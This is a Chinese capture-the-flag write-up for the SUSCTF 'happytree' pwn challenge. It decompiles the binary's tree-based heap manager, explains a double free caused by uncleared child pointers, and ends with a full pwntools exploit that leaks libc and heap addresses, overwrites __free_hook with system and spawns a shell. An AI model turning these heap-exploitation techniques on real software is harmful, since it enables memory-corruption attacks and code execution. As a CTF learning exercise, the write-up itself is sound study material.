susctf pwn happytree复现
作者:互联网
1.逆向分析
大概是一个二叉树,通过data递归管理,管理堆没有清空子树指针,所以可以伪造堆块造成double free
创造一个0x20的管理块,分别写入data大小,以及创建的数据堆块的地址
然后通过data为索引进行管理,小size放左子树,大size放在右子树,递归调用
_QWORD *__fastcall sub_116C(__int64 a1, _QWORD *a2, unsigned int a3) { _QWORD *v4; // [rsp+10h] [rbp-20h] _DWORD *v5; // [rsp+20h] [rbp-10h] v4 = a2; if ( !a2 ) return 0LL; if ( (signed int)a3 >= *(_DWORD *)a2 ) { if ( (signed int)a3 <= *(_DWORD *)a2 ) { if ( a2[2] && a2[3] ) { v5 = (_DWORD *)dontknow(a1, a2[3]); *(_DWORD *)a2 = *v5; a2[3] = dele(a1, a2[3], (unsigned int)*v5); } else { if ( a2[2] ) { if ( !a2[3] ) v4 = (_QWORD *)a2[2]; } else { v4 = (_QWORD *)a2[3]; } operator delete((void *)a2[1], 1uLL); operator delete(a2, 0x20uLL); } } else { a2[3] = dele(a1, a2[3], a3); } } else { a2[2] = dele(a1, a2[2], a3); } return v4; }
dele的逻辑也差不多,递归调用删除,就是当左右子树同时存在的时候,有个函数,一开始没看清楚就叫dontknow了
__int64 __fastcall sub_F72(__int64 a1, __int64 a2) { __int64 result; // rax __int64 v3; // [rsp+18h] [rbp-8h] result = a2; v3 = a2; if ( !a2 ) return 0LL; while ( v3 ) { if ( !*(_QWORD *)(v3 + 16) ) return v3; result = *(_QWORD *)(v3 + 16); v3 = result; } return result; }
那个dontknow函数,逻辑看的不是很清楚,当左右子树都存在的时候会先看右子树里是否存在左子树,似乎是先做了一个前向的递归?不过动调看来对题目影响不是很大
__int64 __fastcall show(__int64 a1, __int64 a2, int a3) { __int64 result; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // [rsp+28h] [rbp-8h] result = a2; v6 = a2; if ( a2 ) { while ( v6 ) { if ( a3 == *(_DWORD *)v6 ) { std::operator<<<std::char_traits<char>>(&std::cout, "content: "); v5 = std::operator<<<std::char_traits<char>>(&std::cout, *(_QWORD *)(v6 + 8)); return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); } if ( a3 <= *(_DWORD *)v6 ) result = *(_QWORD *)(v6 + 16); else result = *(_QWORD *)(v6 + 24); v6 = result; } } else { v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find"); result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); } return result;
show函数,按照data索引输出,没啥好说的
2.利用
因为以前做的doublefree uaf啥的基本都是给edit挂进去直接改就行,所以这题一开始折腾半天没想明白咋利用,最后就面向wp复现了
大概思路就是
1.发现堆块里面的数据free完以后再拿出来,里面的指针没有被清空,所以可以很轻易的泄露heap_base和libc
2.fake_fd,我们可以申请一个0x20的堆块(管理块同大),在写入fake_fd(指向fake_chunk),然后free掉,这样数据块里的指针就会保留下来并链入tcache,然后连续两次add,第二次add的管理块的左子树就会残留我们布局好的fake_fd
3.构造fake_chunk,上一步我们构造好了指向fake_chunk位置的fake_fd,那么下一步我们只需要在该处构造fake_chunk,将该处伪造成一个的管理块,并且他的数据块的指针指向当前堆内第一个tcache。
然后将我们刚刚伪造的fake_chunk free掉,即可完成doublefree
3.exp
from pwn import * p = process("./happytree") libc = ELF("libc-2.27.so") def add(data,content): p.recvuntil("cmd> ") p.sendline("1") p.recvuntil("data: ") p.sendline(str(data)) p.recvuntil("content: ") p.send(content) def free(data): p.sendlineafter('cmd>','2') p.sendlineafter('data:',str(data)) def show(data): p.sendlineafter('cmd>','3') p.sendlineafter('data:',str(data)) for i in range(8): add(0x80+i,b'A') for i in range(8): free(0x80+7-i) add(0x70,b'A'*8) show(0x70) p.recvuntil(b'A'*8) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x80-0x60-0x10-libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] sys = libc_base + libc.sym['system'] print(hex(libc_base)) free(0x70) add(0x20,b'\xb0') show(0x20) p.recvuntil("content: ") heap_base = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))-0x120b0 print(hex(heap_base)) free(0x20) payload = p64(0)+p64(0)+p64(heap_base+0x11eb0)*2 add(0x20,payload) free(0x20) payload = b'/bin/sh\x00'+p64(0x31)+p64(0x20)+p64(heap_base+0x120b0) add(0x68,payload) add(0x40,b'\n') free(0x20) add(0x21,p64(free_hook)) add(0x22,p64(sys)) add(0x23,b'/bin/sh\x00') free(0x23) #gdb.attach(p) p.interactive()
标签:__,add,free,susctf,a2,int64,pwn,data,happytree 来源: https://www.cnblogs.com/refrain-again/p/16063709.html